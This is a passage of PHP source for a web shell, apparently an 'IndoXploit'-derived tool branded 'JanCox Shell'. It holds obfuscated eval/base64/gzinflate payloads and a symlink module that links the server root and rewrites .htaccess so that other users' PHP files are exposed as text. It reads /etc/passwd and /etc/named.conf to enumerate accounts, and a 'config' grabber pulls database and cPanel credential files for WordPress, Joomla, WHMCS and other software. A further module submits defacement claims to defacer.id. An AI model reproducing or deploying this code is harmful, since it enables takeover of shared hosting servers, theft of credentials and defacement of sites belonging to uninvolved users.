  715.         eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
  716.     } elseif($_GET['do'] == 'loghunter')
  717.     {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}  
  718. elseif($_GET['do'] == 'metu') {
  719.    
  720.  
  721. echo '<form action="?dir=$dir&do=metu" method="post">';
  722.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  723.     echo 'Byee !';
  724.    
  725. }
  726. elseif($_GET['do'] == 'about') {
  727.    
  728.     echo '<center>JanCox Shell<hr>IndoXploit Shell Recoded By 0x1999 -> Saiia Edit Lagy :(<br>For More Script Visit <a href="http://cr1p.blogspot.com/">Here</a>';
  729.    
  730. }
  731. elseif($_GET['do'] == 'symlink') {
  732. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  733. $d0mains = @file("/etc/named.conf");
  734. ##httaces
  735. if($d0mains){
  736. @mkdir("cox_sym",0777);
  737. @chdir("cox_sym");
  738. @exe("ln -s / root");
  739. $file3 = 'Options Indexes FollowSymLinks
  740. DirectoryIndex jancox.htm
  741. AddType text/plain .php
  742. AddHandler text/plain .php
  743. Satisfy Any';
  744. $fp3 = fopen('.htaccess','w');
  745. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  746. echo "
  747. <table align=center border=1 style='width:60%;border-color:#333333;'>
  748. <tr>
  749. <td align=center><font size=2>S. No.</font></td>
  750. <td align=center><font size=2>Domains</font></td>
  751. <td align=center><font size=2>Users</font></td>
  752. <td align=center><font size=2>Symlink</font></td>
  753. </tr>";
  754. $dcount = 1;
  755. foreach($d0mains as $d0main){
  756. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  757. flush();
  758. if(strlen(trim($domains[1][0])) > 2){
  759. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  760. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  761. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  762. <td>".$user['name']."</td>
  763. <td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  764. flush();
  765. $dcount++;}}}
  766. echo "</table>";
  767. }else{
  768. $TEST=@file('/etc/passwd');
  769. if ($TEST){
  770. @mkdir("cox_sym",0777);
  771. @chdir("cox_sym");
  772. exe("ln -s / root");
  773. $file3 = 'Options Indexes FollowSymLinks
  774. DirectoryIndex jancox.htm
  775. AddType text/plain .php
  776. AddHandler text/plain .php
  777. Satisfy Any';
  778.  $fp3 = fopen('.htaccess','w');
  779.  $fw3 = fwrite($fp3,$file3);
  780.  @fclose($fp3);
  781.  echo "
  782. <table align=center border=1><tr>
  783. <td align=center><font size=3>S. No.</font></td>
  784. <td align=center><font size=3>Users</font></td>
  785. <td align=center><font size=3>Symlink</font></td></tr>";
  786.  $dcount = 1;
  787.  $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  788.  while(!feof($file)){
  789.  $s = fgets($file);
  790.  $matches = array();
  791.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  792.  $matches = str_replace("home/","",$matches[1]);
  793.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  794.  continue;
  795.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  796. <td align=center><font class=txt>" . $matches . "</td>";
  797.  echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  798.  $dcount++;}fclose($file);
  799.  echo "</table>";}else{if($os != "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
  800. Options Indexes FollowSymLinks
  801. DirectoryIndex jancox.htm
  802. AddType text/plain .php
  803. AddHandler text/plain .php
  804. Satisfy Any
  805. ';
  806.  $fp3 = fopen('.htaccess','w');
  807.  $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  808.  echo "
  809. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  810. <table align=center border=1><tr>
  811. <td align=center><font size=3>ID</font></td>
  812. <td align=center><font size=3>Users</font></td>
  813. <td align=center><font size=3>Symlink</font></td></tr>";
  814.  $temp = "";$val1 = 0;$val2 = 1000;
  815.  for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  816.  if ($uid)$temp .= join(':',$uid)."\n";}
  817.  echo '<br/>';$temp = trim($temp);$file5 =
  818.  fopen("test.txt","w");
  819.  fputs($file5,$temp);
  820.  fclose($file5);$dcount = 1;$file =
  821.  fopen("test.txt", "r") or exit("Unable to open file!");
  822.  while(!feof($file)){$s = fgets($file);$matches = array();
  823.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  824.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  825.  continue;
  826.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  827. <td align=center><font class=txt>" . $matches . "</td>";
  828.  echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  829.  $dcount++;}
  830.  fclose($file);
  831.  echo "</table></div></center>";unlink("test.txt");
  832.  } else
  833.  echo "<center><font size=3>Cannot create Symlink</font></center>";
  834.  }
  835.  }    
  836. }
  837. elseif($_GET['do'] == 'defacerid') {
  838. echo "<center><form method='post'>
  839.         <u>Defacer</u>: <br>
  840.         <input type='text' name='hekel' size='50' value'Achon666ju5t'><br>
  841.         <u>Team</u>: <br>
  842.         <input type='text' name='tim' size='50' value='Extreme Crew'><br>
  843.         <u>Domains</u>: <br>
  844.         <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  845.         <input type='submit' name='go' value='Submit' style='width: 450px;'>
  846.         </form>";
  847. $site = explode("\r\n", $_POST['sites']);
  848. $go = $_POST['go'];
  849. $hekel = $_POST['hekel'];
  850. $tim = $_POST['tim'];
  851. if($go) {
  852. foreach($site as $sites) {
  853. $zh = $sites;
  854. $form_url = "https://www.defacer.id/notify";
  855. $data_to_post = array();
  856. $data_to_post['attacker'] = "$hekel";
  857. $data_to_post['team'] = "$tim";
  858. $data_to_post['poc'] = 'SQL Injection';
  859. $data_to_post['url'] = "$zh";
  860. $curl = curl_init();
  861. curl_setopt($curl,CURLOPT_URL, $form_url);
  862. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  863. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  864. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  865. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  866. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  867. $result = curl_exec($curl);
  868. echo $result;
  869. curl_close($curl);
  870. echo "<br>";
  871. }
  872. }
  873. }
  874.  
  875. elseif($_GET['do'] == 'config') {
  876.     if($_POST){
  877.         $passwd = $_POST['passwd'];
  878.         mkdir("cox_config", 0777);
  879.         $isi_htc = "Options all\nRequire None\nSatisfy Any";
  880.         $htc = fopen("cox_config/.htaccess","w");
  881.         fwrite($htc, $isi_htc);
  882.         preg_match_all('/(.*?):x:/', $passwd, $user_config);
  883.         foreach($user_config[1] as $user_cox) {
  884.             $user_config_dir = "/home/$user_cox/public_html/";
  885.             if(is_readable($user_config_dir)) {
  886.                 $grab_config = array(
  887.                                         "/home/$user_cox/.my.cnf" => "cpanel",
  888.                     "/home/$user_cox/.accesshash" => "WHM-accesshash",
  889.                     "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  890.                     "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  891.                     "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  892.                     "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",             
  893.                     "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  894.                     "/home/$user_cox/public_html/forum/config.php" => "phpBB",
  895.                     "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  896.                     "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  897.                     "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
  898.                     "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
  899.                     "/home/$user_cox/public_html/slconfig.php" => "Sitelok",
  900.                     "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",                   
  901.                     "/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  902.                     "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  903.                     "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
  904.                     "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  905.                     "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  906.                     "/home/$user_cox/public_html/submitticket.php" => "WHMCS",                                     
  907.                     "/home/$user_cox/public_html/configuration.php" => "Joomla",                   
  908.                     "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  909.                     "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  910.                     "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",      
  911.                     "/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  912.                     "/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  913.                     "/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  914.                     "/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  915.                     "/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  916.                     "/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  917.                     "/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  918.                     "/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  919.                     "/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  920.                     "/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  921.                     "/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  922.                     "/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  923.                     "/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  924.                     "/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  925.                     "/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  926.                     "/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  927.                     "/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  928.                     "/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  929.                     "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  930.                     "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  931.                     "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  932.                     "/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  933.                     "/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  934.                     "/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  935.                     "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  936.                     "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  937.                     "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  938.                     "/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  939.                     "/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  940.                     "/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  941.                     "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  942.                     "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  943.                     "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                  
  944.                     "/home/$user_cox/public_html/wp-config.php" => "WordPress",
  945.                     "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  946.                     "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  947.                     "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",     
  948.                     "/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  949.                     "/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  950.                     "/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  951.                     "/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  952.                     "/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  953.                     "/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  954.                     "/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  955.                     "/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  956.                     "/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  957.                     "/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  958.                     "/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  959.                     "/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  960.                     "/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  961.                     "/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  962.                     "/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  963.                     "/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  964.                     "/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  965.                     "/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  966.                     "/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  967.                     "/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  968.                     "/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  969.                     "/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  970.                     "/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  971.                     "/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  972.                     "/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  973.                     "/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  974.                     "/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  975.                     "/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  976.                     "/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  977.                     "/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  978.                     "/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  979.                     "/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  980.                     "/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  981.                                         "/home1/$user_cox/.my.cnf" => "cpanel",
  982.                     "/home1/$user_cox/.accesshash" => "WHM-accesshash",
  983.                     "/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  984.                     "/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  985.                     "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  986.                     "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",            
  987.                     "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  988.                     "/home1/$user_cox/public_html/forum/config.php" => "phpBB",
  989.                     "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  990.                     "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  991.                     "/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
  992.                     "/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
  993.                     "/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
  994.                     "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",                  
  995.                     "/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  996.                     "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  997.                     "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
  998.                     "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  999.                     "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1000.                     "/home1/$user_cox/public_html/submitticket.php" => "WHMCS",                                    
  1001.                     "/home1/$user_cox/public_html/configuration.php" => "Joomla",                  
  1002.                     "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1003.                     "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1004.                     "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
  1005.                     "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1006.                     "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1007.                     "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1008.                     "/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1009.                     "/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1010.                     "/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1011.                     "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1012.                     "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1013.                     "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1014.                     "/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1015.                     "/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1016.                     "/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1017.                     "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1018.                     "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1019.                     "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1020.                     "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1021.                     "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1022.                     "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1023.                     "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1024.                     "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1025.                     "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1026.                     "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1027.                     "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1028.                     "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1029.                     "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1030.                     "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1031.                     "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1032.                     "/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1033.                     "/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1034.                     "/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1035.                     "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1036.                     "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1037.                     "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  1038.                     "/home1/$user_cox/public_html/wp-config.php" => "WordPress",
  1039.                     "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1040.                     "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1041.                     "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  1042.                     "/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1043.                     "/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1044.                     "/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1045.                     "/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1046.                     "/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1047.                     "/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1048.                     "/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1049.                     "/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1050.                     "/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1051.                     "/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1052.                     "/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1053.                     "/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1054.                     "/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1055.                     "/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1056.                     "/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1057.                     "/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1058.                     "/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1059.                     "/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1060.                     "/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1061.                     "/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1062.                     "/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1063.                     "/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1064.                     "/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1065.                     "/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1066.                     "/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1067.                     "/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1068.                     "/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1069.                     "/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1070.                     "/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1071.                     "/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1072.                     "/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1073.                     "/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1074.                     "/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1075.                                         "/home2/$user_cox/.my.cnf" => "cpanel",
  1076.                     "/home2/$user_cox/.accesshash" => "WHM-accesshash",
  1077.                     "/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1078.                     "/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1079.                     "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1080.                     "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",            
  1081.                     "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1082.                     "/home2/$user_cox/public_html/forum/config.php" => "phpBB",
  1083.                     "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1084.                     "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1085.                     "/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1086.                     "/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
  1087.                     "/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
  1088.                     "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",                  
  1089.                     "/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1090.                     "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1091.                     "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1092.                     "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1093.                     "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1094.                     "/home2/$user_cox/public_html/submitticket.php" => "WHMCS",                                    
  1095.                     "/home2/$user_cox/public_html/configuration.php" => "Joomla",                  
  1096.                     "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1097.                     "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1098.                     "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
